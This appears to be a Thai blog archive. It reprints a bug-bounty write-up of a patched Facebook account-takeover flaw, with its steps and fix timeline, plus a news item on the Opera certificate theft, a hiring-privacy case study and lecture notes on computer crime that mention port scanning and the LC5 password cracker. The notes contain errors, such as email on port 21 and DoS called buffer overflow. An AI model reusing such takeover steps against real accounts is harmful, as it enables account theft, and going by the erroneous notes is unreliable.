วันศุกร์ที่ 5 กรกฎาคม พ.ศ. 2556

HIJACKING A FACEBOOK ACCOUNT WITH SMS


HIJACKING A FACEBOOK ACCOUNT WITH SMS.

This post will demonstrate a simple bug which will lead to a full takeover of any Facebook account, with no user interaction. Enjoy.
Facebook gives you the option of linking your mobile number with your account. This allows you to receive updates via SMS, and also means you can login using the number rather than your email address.
The flaw lies in the /ajax/settings/mobile/confirm_phone.php end-point. This takes various parameters, but the two main are code, which is the verification code received via your mobile, andprofile_id, which is the account to link the number to.
The thing is, profile_id is set to your account (obviously), but changing it to your target’s doesn’t trigger an error.
To exploit this bug, we first send the letter F to 32665, which is Facebook’s SMS shortcode in the UK. We receive an 8 character verification code back.
image
We enter this code into the activation box (located here), and modify the profile_id element inside thefbMobileConfirmationForm form.
image
Submitting the request returns a 200. You can see the value of __user (which is sent with all AJAX requests) is different from the profile_id we modified.
image
Note: You may have to reauth after submitting the request, but the password required is yours, not the targets.
An SMS is then received with confirmation.
image
Now we can initate a password reset request against the user and get the code via SMS.
image
Another SMS is received with the reset code.
image
We enter this code into the form, choose a new password, and we’re done. The account is ours.
image

Fix

Facebook responded by no longer accepting the profile_id parameter from the user.

Timeline

23rd May 2013 - Reported
28th May 2013 - Acknowledgment of Report
28th May 2013 - Issue Fixed

Note

The bounty assigned to this bug was $20,000, clearly demonstrating the severity of the issue.

Attackers sign malware using crypto certificate stolen from Opera Software


Attackers sign malware using crypto certificate stolen from Opera Software

A "few thousand" users may have automatically installed malware signed by expired cert.

Hackers penetrated network servers belonging to Opera Software, stole at least one digital certificate, and then used it to distribute malware that incorrectly appeared to be published by the browser maker.
The attack was uncovered, halted, and contained on June 19, according to a short advisory that Opera published Wednesday morning. While administrators have cleaned the system and have yet to find any evidence of any user data being compromised, the breach still had some troubling consequences.
"The attackers were able to obtain at least one old and expired Opera code signing certificate, which they have used to sign some malware," Wednesday's advisory stated. "This has allowed them to distribute malicious software which incorrectly appears to have been published by Opera Software or appears to be the Opera browser. It is possible that a few thousand Windows users, who were using Opera between June 19 from 1.00 and 1.36 UTC, may automatically have received and installed the malicious software."
Opera's advisory leaves out key information that makes it hard to assess just how much damage was done. Missing details include when the attackers first gained access to the servers, precisely when the stolen digital certificate expired, and whether there's reason to believe other certificates may also have been obtained. It would also be useful to know how hackers got access to an official Opera digital certificate, which is supposed to cryptographically prove that the software that bears its seal could only have come from the company. As Ars reported last year, companies such as Symantec go to great lengths to secure such keys, although Opera is hardly alone in losing control of such a valuable certificate.
The advisory also provides few details about the malware that was signed with Opera's official digital imprimatur, other than to link to this VirusTotal analysis. The Opera post urged users to "update to the latest version of Opera as soon as it is available, keep computer software up to date, and to use a reputable antivirus product on their computer."
Opera representatives declined to provide additional details, citing a continuing investigation into the breach. At some point soon, though, officials should provide a more thorough account of what happened, who was affected, and what steps have been taken to prevent similar attacks from succeeding in the future.

วันอังคารที่ 18 มิถุนายน พ.ศ. 2556

We Google You


We Google You
flickr:8897352727
Hathaway Jones เป็นบริษัทผู้จัดจำหน่ายเครื่องแต่งกายในประเทศสหรัฐอเมริกา โดยบริษัทมีแผนที่จะขยายธุรกิจไปยังประเทศจีน เนื่องจากในประเทศจีนตลาดมีการขยายตัวสูงถึง 70% ต่อปี โดยวางแผนจะเปิดร้านใหม่ ใน 3 หัวเมืองใหญ่ ได้แก่ ปักกิ่ง, กวางเจา และเซี่ยงไฮ้
Fred Western เป็น CEO ของบริษัท Hathaway Jones กำลังต้องการหาผู้จัดการร้านคนใหม่ไปประจำและดูแลร้านที่กำลังจะเปิดใหม่ในประเทศจีน ซึ่งคุณสมบัติที่ต้องการคือสามารถพูดได้ทั้งภาษาจีนและภาษาอังกฤษ และต้องเป็นคนที่มีความเข้าใจวัฒนธรรมของจีน และสามารถเข้าถึงความต้องการของตลาดในประเทศจีน Fred ได้ทำการคัดเลือกผู้จัดการร้านคนใหม่และหนึ่งในผู้สมัครคือ Mimi เป็นลูกสาวของ John Brewster ซึ่งเป็นเพื่อนเก่าของ Fred
flickr:8897972388
ผู้สมัครงาน Mimi Brewster อายุราว 30 ปี เป็นลูกสาวของ John Brewster ซึ่งเป็นเพื่อนในสมัยเรียนของ Fred เป็นคนมีความมั่นใจในตัวเอง เธอเติบโตในประเทศจีนและสามารถพูดภาษาจีนกลางและภาษาจีนท้องถิ่น เรียนจบจากมหาวิทยาลัยที่ Berkeley ในสาขาประวัติศาสตร์จีนสมัยใหม่ด้วยเกียรตินิยมอันดับสอง จากนั้นได้ศึกษาต่อในสาขา MBA ที่ Stanford หลังจบการศึกษา เธอได้เข้าทำงานที่ West Coast regional office of Eleanor Gaston ซึ่งเป็นบริษัทที่ขายเสื้อผ้า รองเท้า และเครื่องประดับชั้นนำที่ใหญ่ที่สุดในอเมริกา ใน 4 ปีที่เธอทำงานอยู่นี้ เธอได้แสดงความสามารถในการจับรสนิยมทางแฟชั่นของหนุ่มสาวในตลาดออนไลน์ และหลังจากที่เธอสามารถสร้างแบรนด์ใหม่ได้ 2 แบรนด์แล้ว เธอก็เริ่มมองหาประสบการณ์ทางด้านการบริหารโดยเฉพาะในตลาดที่เติบโตอย่างรวดเร็วอย่างประเทศจีน
จากการสัมภาษณ์ Mimi ได้แสดงให้เห็นถึงความสามารถและความเฉลียวฉลาดของเธอ เธอมีความเข้าใจในความต้องการของผู้บริโภคชาวจีนเป็นอย่างดี มีมุมมองที่น่าสนใจ ซึ่งทำให้ Fred มีความประทับใจต่อ Mimi เป็นอย่างมาก
flickr:8897972408
Virginia Flanders เป็น Vice president ของแผนกบุคคล ได้ทำการตรวจสอบข้อมูลของ Mimi เพิ่มเติมโดยการค้นหาใน Google ซึ่งจากการค้นหานี้ในหน้าที่ 9 พบว่า Mimi ได้เคยเป็นผู้นำการประท้วงเพื่อต่อต้านองค์กรการค้าโลก และพบข่าวจากหนังสือพิมพ์ที่มีรูปของ Mimi ประท้วงอยู่หน้าสถานทูตจีนในซานฟรานซิสโกเพื่อต่อต้านการปฏิบัติของประเทศจีนที่มีต่อสื่อมวลชน เมื่อ Virginia ได้ทราบถึงข้อมูลเหล่านี้ เธอจึงได้แจ้งให้ Fred ทราบ ซึ่ง Fred อยากจะเรียก Mimi เข้ามาเพื่อให้ Mimi ได้มีโอกาสชี้แจงเพิ่มเติมเกี่ยวกับเรื่องนี้ แต่ Virginia เป็นห่วงในเรื่องที่บริษัททำการค้นหาประวัติของ Mimi จาก Google ซึ่งอาจจะเป็นการละเมิดสิทธิส่วนบุคคลของ Mimi หากบริษัทจะนำเรื่องราวที่ค้นพบผ่านช่องทางทางอินเตอร์เน็ทมาเป็นเหตุผลในการปฏิเสธ
จากบทความมีคำถามเกิดขึ้นว่า เฟรดควรจะจ้าง Mimi หรือไม่จากประวัติของเธอบนกูเกิ้ล
4 Comment จากผู้เชี่ยวชาญในแต่ละสาขา
flickr:8897972504
1. John G.Palfrey, Jr. เป็นนักกฎหมาย มีความเห็นว่า Fred ควรใช้สัญชาตญาณของตัวเองในการตัดสินใจ โดยพิจารณาจากคุณสมบัติที่เหมาะสม และเห็นว่าคนที่ไม่มีข้อมูลบนอินเตอร์เน็ตอาจจะเป็นคนที่ไม่มีความน่าสนใจเลย และข้อมูลบนอินเตอร์เน็ตนั้นสามารถทำปลอมแปลงหรือบิดเบือนได้ การกระจายข้อมูลเป็นไปอย่างรวดเร็วและไม่สามารถหยุดได้ จึงเป็นหน้าที่ของผู้ใช้ที่จะต้องใช้วิจารณญาณในการพิจารณาถึงความถูกต้องของข้อมูล
flickr:8897971970
2. Jeffrey A.Joerres (Chairman and CEO of Manpower) มีความเห็นว่า การที่บริษัทจะเข้าไปทำการตลาดในประเทศจีนให้ประสบผลสำเร็จนั้น สิ่งสำคัญที่สุดก็คือจะต้องมีความสัมพันธ์ที่ดีกับภาครัฐของประเทศจีน ดังนั้นข่าวของ Mimi ที่เคยต่อต้านรัฐบาลของประเทศจีน อาจก่อให้เกิดปัญหาความสัมพันธ์กับภาครัฐซึ่งจะส่งผลเสียต่อบริษัทอย่างแน่นอน และการเข้าถึงข้อมูลนี้ก็สามารถทำได้อย่างที่ Jeffrey แนะนำว่า Mimi ควรที่จะตรวจสอบข้อมูลของตัวเองบนอินเตอร์เน็ตก่อนที่จะเข้าสัมภาษณ์ และควรแจ้งข้อมูลเหล่านี้ให้กับบริษัททราบพร้อมกับอธิบายถึงเรื่องราวความเป็นมา จะดีกว่าการที่ให้บริษัททราบข้อมูลจากกการค้นหาด้วยตัวเอง
flickr:8897972198

3. Danah m. Boyd (Adviser to major media corporation) มีความเห็นว่า ในปัจจุบันการค้นพบข้อมูลของบุคคล บนอินเตอร์เน็ตนั้นเป็นเรื่องปกติ เพราะพฤติกรรมของวัยรุ่นโดยทั่วไปก็ชอบแสดงออกถึงความมีตัวตนโดยการโพสข้อความหรือรูปภาพบนอินเตอร์เน็ต เนื่องจาก Mimi มีคุณสมบัติที่เหมะสมกับตำแหน่งและข้อมูลที่อยู่บนอินเตอร์เน็ตเหล่านั้นก็เป็นอดีต เป็นเรื่องราวที่ผ่านมาหลายปีแล้วและในปัจจุบันมุมมองของ Mimi ก็ได้เปลี่ยนไปจากเดิมแล้ว ดังนั้น Fred ควรเปิดใจที่จะรับ Mimi เข้าทำงาน และ Mimi ก็สามารถแก้ไขโดยการสร้างภาพลักษณ์ที่ดีบนอินเตอร์เน็ตเพื่อที่จะแทนที่ข้อมูลที่มีอยู่เดิมในอดีต
flickr:8897971890
4. Michael Fertik (CEO of Reputation Defender) มีความเห็นว่า ข้อมูลที่พบบนอินเตอร์เน็ตของ Mimi มีผลต่อการทำธุรกิจกับประเทศจีนเป็นอย่างมาก เพราะหากมีใครพบข้อมูลนี้ก็จะสร้างกระแสการวิพากษ์วิจารณ์และอาจเกิดผลกระทบต่อความมั่นคงต่อธุรกิจได้ ซึ่งการที่จะขอลบข้อมูลจากผู้นำเสนอข่าวนั้นน่าจะทำได้ยาก Mimi เองน่าจะไม่มีอำนาจมากพอที่จะขอให้ลบข้อมูลของเธอออก ดังนั้น Mimi ควรเผชิญหน้ากับปัญหาอย่างตรงไปตรงมา โดยการแจ้งข้อมูลเหล่านี้ให้ Fred ทราบเมื่อเธอได้พบกับเขาครั้งแรก และควรทำการประชาสัมพันธ์ตัวเอง เพื่อให้สังคมได้ทราบถึงการเปลี่ยนแปลงทางความคิดของ Mimi ผ่านทางโลกอินเตอร์เน็ต
จากการค้นคว้าข้อเสนอแนะต่างๆ และความเห็นของทางกลุ่ม มีความเห็นเป็น 2 แบบ ดังนี้
1.เห็นควรรับเข้าทำงาน
• เพราะว่า Mimi มีคุณสมบัติที่ดีหลายอย่าง ไม่ว่าจะเป็นพื้นฐานทางการศึกษาและประสบการณ์ทำงาน การติดต่อสื่อสารที่ดี และมีความคิดสร้างสรรค์ โดยอาจให้Mimiทำงานตำแหน่งอื่นแทนตำแหน่งในประเทศจีน หรือมีการทดลองงานก่อน
• สิ่งที่เกิดขึ้นบนสื่อออนไลน์อาจเป็นเรื่องไม่จริงเสมอไป อีกอย่างเรื่องที่เกิดขึ้นผ่านมานานแล้ว ปัจจุบันMimi อาจจะเปลี่ยนความคิดมุมมองของเธอแล้วก็ได้
2.เห็นควร ไม่รับเข้าทำงาน
• เพราะในประเทศจีนมีปกครองด้วยระบอบคอมมิวนิสต์ และถือว่าเรื่องทางการเมืองเป็นเรื่องอ่อนไหว ประชาชนชาวจีนส่วนใหญ่ค่อนข้างเห็นด้วยกับรัฐบาลจีน การที่ Mimi เคยทำการประท้วงมาก่อน อาจทำให้ประชาชนชาวจีนที่สามารถเข้าถึงข้อมูลในอินเตอร์เนตไม่พอใจ และไม่ซื้อสินค้าบริษัทได้
•มีความเสี่ยงที่ คู่แข่งจะหยิบยกประเด็นนี้มาโจมตีบริษัทได้

ในส่วนของ Mimi
Mimi ควรแสดงถึงความตั้งใจจริงและความพร้อมในการทำงานต่อบริษัท Hathaway Jones โดยแจ้งเรื่องนี้ก่อนมามาสัมภาษณ์งานที่บริษัท รวมถึงมีการชี้แจงและขอโทษสำหรับเหตุการณ์ที่ผ่านมา รวมถึงแสดงให้เห็นการเปลี่ยนแปลง ถึงจุดยืนที่ชัดเจนของตัวเองว่าจะไม่ทำพฤติกรรมเช่นนั้นอีก
หากเป็นการเข้าใจผิด Mimi ควรรีบชี้แจงให้เข้าใจว่าไม่ได้เป็นผู้มีส่วนร่วมหรือปฏิบัติเช่นนั้น ข่าวที่ปรากฏออกมาเกิดจากความเข้าใจผิดของนักข่าว พร้อมหาหลักฐานในการยืนยันว่าไม่ได้มีส่วนร่วม และอยู่ในกลุ่มชุมนุมประท้วง รวมถึงชี้แจงสถานะของตนเองว่าไม่ได้มีการต่อต้านประเทศจีนแต่อย่างใด ทั้งนี้บริษัทอาจร่วมช่วยแก้ปัญหาโดยการ สร้างภาพลักษณ์ใหม่ให้กับ Mimi
จากบทความนี้สรุปเป็นประเด็นสำคัญได้ดังนี้
Searching the Internet for information about job candidates is legal and Right of Privacy
ตามกฎหมาย การจัดเก็บ รวบรวม ใช้ เปิดเผย ข้อมูลส่วนบุคคลอันได้แก่ ประวัติการศึกษา ฐานะทางการเงิน ประวัติสุขภาพ ประวัติการทำงาน หรือแม้กระทั่งประวัติอาชญากรรม ตลอดจน หมายเลขโทรศัพท์ รหัสประจำตัวประชาชน หรือ ลายพิมพ์นิ้วมือ แผ่นบันทึกลักษณะเสียง รูปถ่าย โดยที่เจ้าของข้อมูลส่วนบุคคลนั้นไม่ได้ให้ความยินยอมย่อมถือว่าเป็นการกระทำที่ไม่ชอบด้วยกฎหมาย อีกเรื่องหนึ่งคือ เรื่องการเคารพสิทธิส่วนบุคคลก็สำคัญ ตามกฎหมายรัฐธรรมนูญ กล่าวว่า บุคคลย่อมมีเสรีภาพในการแสดงความคิดเห็น การพูด การเขียน การพิมพ์ การโฆษณา และการสื่อความหมายโดยวิธีอื่น ตราบใดที่ไม่เป็นการทำความเดือดร้อนเสียหายแก่บุคคลอื่น
Some information spread over the Internet might be false, so if a search reveals something controversial, it is a good idea to ask the candidate if it is true.
ข้อมูลที่อยู่บนอินเตอร์เนตอาจไม่ใช่เรื่องจริงทั้งหมด การสอบถามผู้สมัครก่อนเพื่อทราบเหตุผลและแนวคิดของเขาเพิ่มเติมว่าเป็นเรื่องจริงหรือไม่ อย่างไร
Hiring standards need to adapt to the reality that people are not perfect.
การรับสมัครพนักงานก็ต้องปรับเปลี่ยนอย่างเหมาะสมและระลึกไว้ว่าไม่มีใครสมบูรณ์แบบ 100%
In time, many young people will learn that it is not a good idea to post naked pictures of themselves online.
ในขณะเดียวกัน เราเองก็ควรจะระมัดระวังที่จะไม่โพสต์รูปที่ไม่เหมาะสมหรือข้อความสุ่มเสี่ยงลงบนโลกออนไลน์เช่นกัน

Information Systems Security Computer Crimes


Information Systems Security & Computer Crimes
อาชญากรรมคอมพิวเตอร์ หรือ Cyber Crime คือการใช้คอมพิวเตอร์ระบบเครือข่ายเป็นเครื่องมือในการก่ออาชญากรรม เช่น การเผยแพร่ข้อมูลที่ไม่เหมาะสม เช่นเผยแพร่ข้อมูลที่เกี่ยวกับความมั่นคง หรือการส่งเมลล์หลอกลวงให้เหยื่อส่งข้อมูลให้ เป็นต้น อีกแง่มุมคือ เป้าหมายในการก่ออาชญากรรมคือตัวระบบคอมพิวเตอร์ขององค์กร และข้อมูลในระบบ เช่น ข้อมูลลูกค้า ข้อมูลทางการเงิน เป็นต้น ซึ่งกระทำโดยอาชญากรคอมพิวเตอร์
อาชญากรคอมพิวเตอร์ Cybercriminals คือบุคคลหรือกลุ่มบุคคลที่ใช้คอมพิวเตอร์ ระบบเครื่องข่าย หรืออินเตอร์เนต เป็นเครื่องมือในการประกอบอาชญากรรม
ประเภทของอาชญากรรมคอมพิวเตอร์ มี 2 ประเภท คือ
1. อาชญากรรมคอมพิวเตอร์จากภายนอกองค์กร ซึ่งเป็นการกระทำที่เกิดจากคนภายนอกองค์กร เช่นเกิดจาก hacker, คู่แข่ง หรือ ลูกค้า เป็นต้น
2. อาชญากรรมคอมพิวเตอร์จากภายในองค์กร เป็นการกระทำโดยคนภายในองค์กร หรือที่เรียกว่า Insider ซึ่งอาชญากรรมประเภทนี้จะพบได้บ่อยประมาณ 80 % ที่พบมากเนื่องจากคนภายในองค์กรจะเป็นผู้ที่ทราบว่าข้อมูลสำคัญอยู่ตรงไหน รู้ระบบรักษาความปลอดภัย และมีสิทธิ์ในการเข้าถึงข้อมูลที่สำคัญ
อาชญากรรมคอมพิวเตอร์จากภายนอกองค์กร
เป็นการกระทำที่เกิดจากคนภายนอกองค์กร เช่นเกิดจาก hacker, การขโมยข้อมูลคอมพิวเตอร์จาก การแพร่กระจายไวรัส การทำลายระบบคอมพิวเตอร์ การรบกวนการทำงานของระบบคอมพิวเตอร์ การปลอมแปลงอีเมลล์หรือการสร้างเว็บไซต์ปลอม รวมถึงการก่อการร้าย หรือการก่อวินาศกรรมโดยใช้คอมพิวเตอร์ จากคู่แข่ง หรือ ลูกค้า เป็นต้น ซึ่งอาชญากรรมประเภทนี้จะมีอยู่ประมาณ 20 % โดย70 % ของอาชญากรรมคอมพิวเตอร์คือ Phishing ซึ่ง Phishing เป็นการปลอมแปลง E-mail หรือ ทำเว็บไซด์ปลอม มีการปลอมแปลงเนื้อหาบนเว็บไซด์ เพื่อหลอกให้เหยื่อเปิดเผยข้อมูลส่วนบุคคลออกมา โดยเฉพาะ Username กับ Password สาเหตุที่มีสูงขึ้นทุกวันเนื่องจาก เหตุผลหลักๆเลยคือ โปรแกรมในการ hack สามารถหาได้ง่าย internet ถูกใช้เป็นช่องทางในการหาโปรแกรม, ผู้ใช้ก็ไม่ต้องมีความรู้อะไรมากแค่ Download hacking application มาใช้ ก็ทำการ hack ได้แล้ว และอาจเกิดจากระบบซอฟแวร์ที่มีความซับซ้อน โอกาสที่เกิดช่องโหว่มาพร้อมกับ Bug เป็นช่องทางที่ hackers สามารถเข้าถึงได้ง่ายขึ้น ระบบโครงสร้างพื้นฐานเชื่อมโยงกับระบบเครือข่ายเป็นช่องทางที่ทำให้อาชญากร ทำงานง่ายขึ้น
อาชญากรคอมพิวเตอร์ (Hackers) คือ บุคคลที่เข้าถึงระบบคอมพิวเตอร์หรือข้อมูลในระบบคอมพิวเตอร์โดยผิดกฎหมาย โดยสามารถแบ่งออกได้เป็น 3 ประเภท คือ
1. หมวกขาว (White-hat)
คือ ผู้ที่เข้าสู่ระบบเพื่อทำการตรวจสอบช่องโหว่ของระบบและทำการแก้ไขปรับปรุงให้ระบบให้
มีการทำงานที่ดียิ่งขึ้น
2. หมวกดำ (Black-hat)
คือ ผู้ที่บุกรุกเข้าสู่ระบบโดยมีจุดประสงค์ร้ายในการสร้างความเสียหายให้เกิด ขึ้น เช่น เจาะเอาข้อมูล การทำลาย
3. มือสมัครเล่น (Script kiddies)
คือ มือใหม่ที่เริ่มบุกรุกเข้าสู่ระบบคอมพิวเตอร์ เพื่อสร้างความเดือดร้อน หรือหวังผลประโยชน์ ไม่จำเป็นต้องมีความรู้ทางเทคนิค เราพะใช้เครื่องมือเป็น Hacking software สำเร็จรูป (Hackers ส่วนใหญ่อยู่ในกลุ่มนี้)
เป้าหมายของ Hackers คือต้องการขโมยข้อมูล เช่น ขโมยข้อมูลบัตรเคดิต หรือข้อมูลส่วนตัว และนำข้อมูลไปประกอบอาชญากรรม
Hackers เข้าขโมยข้อมูลได้อย่างไร สามารถแบ่งออกได้เป็น 2 ประเภท คือ
1. Direct access คือ เข้าถึงกายภาพโดยตรง เช่นเวลาที่เจ้าของข้อมูลไม่อยู่ก็นำ Thumb Drive มาดูดขโมยข้อมูลไป หรือเป็นการมาลง software ที่ชื่อ spy ware ที่เครื่องคอมพิวเตอร์ที่มีการบันทึกข้อมูลต่างๆที่สำคัญ ซึ่ง software นี้จะบันทึกทุกกิจกรรมที่เราทำลงบนเครื่องคอมพิวเตอร์และข้อมูลต่างๆที่ บันทึกได้นั้นจะถูกส่งไปยัง hackers โดยตรง และ software นี้ก็มีขายทั่วไปตามท้องตลาด
2. Indirect access คือ การขโมยข้อมูลทางอ้อม โดยวิธี Indirect access นี้มีมากกว่า Direct access เป็นการกระทำโดยใช้ช่องทางผ่านระบบเครือข่ายโดยที่เราไม่รู้ตัว ซึ่งทุก application ใน internet จะมี port No. เช่นสมมุติว่าเราจะเข้าเว็บ เราก็จะผ่าน port No.80 เราจะเช็คเมลล์เราก็ผ่าน port No.21 โดยขั้นตอนแรกในการทำก็คือ hackers จะใช้ port scanning software เพื่อ scan ดูว่ามี port ใดที่เปิดอยู่บ้าง เป็นการเช็คก่อน เหมือนถ้าเราเป็นโจร เราก็จะดูว่ามีประตูบ้านไหนเปิดอยู่ ถ้า scan เจอก็จะใช้ port นั้นในการเข้าถึงข้อมูล และขั้นตอนต่อไป คือ การสร้าง account ในเครือข่าย สำหรับ hackers ที่เก่งๆก็จะ เข้าไปลบ admin account ลบของจริงแล้วสร้างใหม่ ซึ่งการป้องกันก็จะมี software ที่เรียกว่า firewalls ใช้สำหรับเปิดเฉพาะ port ที่จำเป็นและปิด port ที่ไม่จำเป็นต้องใช้เพื่อลดโอกาสการเข้าถึงข้อมูลของ hackers
อาชญากรรมคอมพิวเตอร์จากภายในองค์กร
เป็นการกระทำโดยคนภายในองค์กร พบมากเนื่องจากคนภายในองค์กรจะเป็นผู้ที่ทราบว่าข้อมูลสำคัญอยู่ตรงไหน รู้ระบบรักษาความปลอดภัย และมีสิทธิ์ในการเข้าถึงข้อมูลที่สำคัญ
• อาชญากรรมคอมพิวเตอร์จากภายในองค์กร
• พนักงานทำการเปลี่ยนแปลงแก้ไขข้อมูลโดยไม่ได้รับอนุญาต
• พนักงานขโมยความลับทางการค้าและนำไปขายให้กับคู่แข่ง
พนักงานที่มีความแค้นต่อองค์กร ทำการทำลายระบบคอมพิวเตอร์หรือข้อมูลในระบบคอมพิวเตอร์
ตัวอย่างอาญากรรมคอมพิวเตอร์
Viruses เป็น software code ที่จะไปฝังตัวกับไฟล์ใดไฟล์นึง เมื่อเครื่องมีการติดไวรัสคอมพิวเตอร์ ก็เหมือนกับติดไวรัสทางกายภาพ การทำงานก็คือจะ copy ตัวมันเองไปยังไฟล์อื่น ซึ่งส่งผลให้ระบบงานเกิดความล่าช้า และอาจเข้าไปแก้ไขระบบต่างๆ และอาจเข้าไปทำลายระบบ software hard disk เป็นต้น วิธีที่นิยมในการแพร่ไวรัสมากที่สุดคือผ่านทาง E-mail, social media และผ่านทางเว็บที่ให้ down load file ต่างๆ รวมถึงการใช้ thumb drive ร่วมกันด้วย
Types of Viruses
Boot-scetor viruses : จะทำการ copy ตัวเองในส่วนของ boot sector ใน hard drive
Logic bombs : จะเกิดการ activate virus เมื่อพบเงื่อนไขที่ตั้งไว้ โดยทำการตั้งเงื่อนไขไว้ เมื่อพบเงื่อนไขจึงเริ่มสร้างความเสียหาย
Worms : สามารถ replicate ตัวเองได้ โดยไม่ต้องอาศัยผู้ใช้งาน
Script viruses : จะมาพร้อมกับ Browser
Macro viruses : ส่วนใหญ่มากับ office file
Encryption viruses : เป็นไวรัสที่เข้ารหัสไฟล์หรือรหัสโฟล์เดอร์ โดยไม่ให้ผู้ใช้เปิดไฟล์หรือโฟล์เดอร์นั้นได้ อาจมีการจ่ายค่าไถ่เพื่อขอเปิดไฟล์
E-mail viruses use the address book in the victim’s e-mail system to distribute the virus : ผ่านทาง address เป็นหลัก
Trojan horses : จะไม่ทำความเสียหาย แต่จะเป็น software ที่เวลาลงไปที่เครื่องของเหยื่อ ซึ่ง hacker สามารถควบคุมเครื่องคอมพิวเตอร์ของเหยื่อได้ในระยะไกล โดยอาจเข้าไปในรูปแบบของไฟล์ปกติอาจเป็นไฟล์วิดีโอหรือไฟล์รูปภาพ แต่จะมี software code ซ่อนอยู่ ซึ่งจะเข้าไปควบคุมเครื่องเหยื่อโดยอัตโนมัติ ซึ่งเครื่องของเหยื่อที่ถูกควบคุมจะเรียกว่า ซอมบี้
Worms จะส่งผลกระทบใกล้เคียงกับไวรัส บางสำนักแยก Worms ออกมาโดยบอกว่า Worms ไม่ใช่ประเภทหนึ่งของไวรัส แต่บางสำนักก็นับ ว่า Worms เป็นประเภทหนึ่งของไวรัส ซึ่ง Worms จะสามารถแพร่กระจายตัวเองผ่านทางระบบเครือข่ายโดยอัตโนมัติ โดยที่ไม่ต้องเกิดจากการกระทำของผู้ใช้ ไม่ต้องอาศัยไฟล์ ไม่จำเป็นต้องมาจากการรับส่ง E-mail และมันก็สามารถอยู่ได้ด้วยตัวมันเอง Worms ส่วนใหญ่จะอันตรายกว่าไวรัส
จุดประสงค์ของไวรัสก็คือ ทำให้ระบบคอมพิวเตอร์ช้าลง และบางไวรัสก็มีการสร้างเงื่อนไขในการทำงาน เช่น ตั้งวันที่ไว้ให้มันทำงาน เมื่อผู้ใช้เปิดไฟล์เข้าไปในวันที่กำหนด มันก็จะทำงาน กล่าวได้ว่าเมื่อไวรัสพบเงื่อนไขปุ๊บ มันก็ทำงานทันที
Spam
Spam คือ การส่ง E-mail เป็นจำนวนมากไปยังผู้ที่ไม่ประสงค์จะรับ เพื่อประโยชน์ทางการค้า เช่น การโฆษณา
Spim คือ การใช้ spam ผ่านทาง Instant Messengers เช่น MSN และ Yahoo
DDOS (Denial of service attacks and Botnet) เป็นอาชญากรรมที่เกิดขึ้นบ่อยมาก เรียก DOS Attack จุดประสงค์หลักของอาชญากรคือ ทำให้ระบบคอมพิวเตอร์ไม่สามารถทำงานได้ โดยปกติแล้ว DOS Attack จะเกิดขึ้นกับพวกเว็บไซด์ดังๆและระบบคอมพิวเตอร์ที่สำคัญ ซึ่งกระบวนการและวิธีการ คือ hacker จะปล่อย Trojan horses software ซึ่ง Trojan horses เป็น software ที่ทำให้ hacker ควบคุมได้จากระยะไกล โดยปล่อยไปยังเครื่องคอมพิวเตอร์อาจเป็นหมื่นๆเครื่องหรืออาจเป็นล้านๆ เครื่องก็ได้ โดยเข้าไปควบคุมบทบาทของคอมพิวเตอร์ ณ ตอนนั้นที่เป็นซอมบี้และ hacker จะบังคับให้ซอมบี้ทำการ request ข้อมูลไปยัง server ภายในเวลาเดียวกัน ซึ่ง server ตัวนั้นก็จะไม่สามารถรองรับการ request ที่มากมายขนาดนั้นได้ ที่เรียกกันว่า buffer overflow ซึ่งปกติแต่ละ server จะมีข้อจำกัดในการรองรับผู้ใช้ได้ประมาณ 1,000 requests เท่านั้น ซึ่งทำให้ server นั้นไม่สามารถให้บริการกับคนทั่วไปได้ และจะแยกยากว่าเป็น request จากเครื่องปกติหรือเป็น request ของเครื่องซอมบี้ ซึ่งเป็นการยากที่จะป้องกัน สัญญาณที่บอกว่า server นั้นโดน DOS Attack คือจะโหลดได้ช้ามากๆ หรือขึ้นหน้าจอว่าไม่สามารถเข้าถึงได้
การป้องกัน DOS Attack มีดังนี้
• เป็นวิธีที่หลายองค์กรใช้เพื่อกระจายความเสี่ยงคือการสร้าง server หลายๆอันเพื่อใช้ในการรองรับ เป็นการสร้าง back up ขึ้นมาแทน ในกรณีที่ server ใดโดน DOS Attack ก็ยังมี server อื่นๆมาใช้แทนที่
• ใช้ inclusion detect software เป็น software ที่ดูว่า signal ใดเป็นรูปแบบของ DOS Attack แล้วจะไปทำการเปลี่ยนแปลงค่าใน server หรือทำการ block request นั้นๆ ซึ่งปัญหาในหลายๆ เรื่องโดยเฉพาะเรื่องความปลอดภัยเกิดจาก password เป็นหลัก
Password Cracking Software
Software นี้ ในอดีตเราสามารถเข้าไปโหลดมาใช้ได้เลย ซึ่งสามารถ google ใน internet แล้วพิมพ์ LC 5 เพื่อโหลดมาใช้เพื่อ hack password กระบวนการทำงานของมันก็คือ เวลาเก็บ password นั้นจะถูก convert เป็นภาษาต่างดาวซึ่งเราเรียกว่า hash วิธีการที่จะรู้ได้อย่างไรว่าเราใช้ password ถูกต้องหรือไม่ คือจะมี algorithm ในการแปลง peer text เหล่านี้ให้เป็น hash ซึ่ง hash ก็คือตัวอักษรในกลุ่มดังภาพ เวลาเราพิมพ์ password ไป เมื่อ Password มันตรงกับ hash หรือ match กับ hash ก็แสดงว่าเป็น password ที่ถูกต้อง เราก็สามารถเข้าถึงระบบได้ ในกระบวนการทำงานของ software LC 5 ซึ่งเป็น software ที่มีชื่อเสียงมากในการ hack กระบวนการก็คือ software LC 5 นี้จะมีคำศัทพ์ทุกคำใน dictionary มันจะทำการทดลองเอาคำทุกคำที่มีใน dictionary ใส่ในระบบ ว่าคำไหนบ้างที่ match กับ hash ที่อยู่ในคอมพิวเตอร์ ถ้าพบว่า match ก็แสดงว่า hacker สามารถเข้าถึงข้อมูลสามารถที่จะรู้ password ได้ ถ้า password ที่เราตั้งตรงกับใน dictionary จะใช้เวลาไม่เกิน 2 วินาที ถ้า password เรามีความแข็งแรงขึ้น เช่นมีตัวเลขและมีสัญลักษณ์อยู่หรือมีความยาวมาก ก็จะทำให้ใช้เวลาในการ hack นานขึ้น กระบวนการนี้มันจะทดลองจาก password ที่มีความอ่อนแอมากที่สุดไปสู่ password ที่มีความแข็งแรงมากที่สุด ต.ย. password ที่มีความอ่อนแอมากและเป็นคำที่ใช้ในการตั้ง password มากที่สุดโดยทราบจากการสำรวจคือการใช้คำว่า password เป็น password และรองลงมาที่พบมากคือ ใช้คำว่า admin 1234 เป็น password และ ต.ย. password ที่อ่อนแอ เช่น password ที่เป็นคำใน dictionary ตัวอักษรอย่างเดียว ตัวเลขอย่างเดียว และจำนวนตัว password ที่น้อยเกินไป
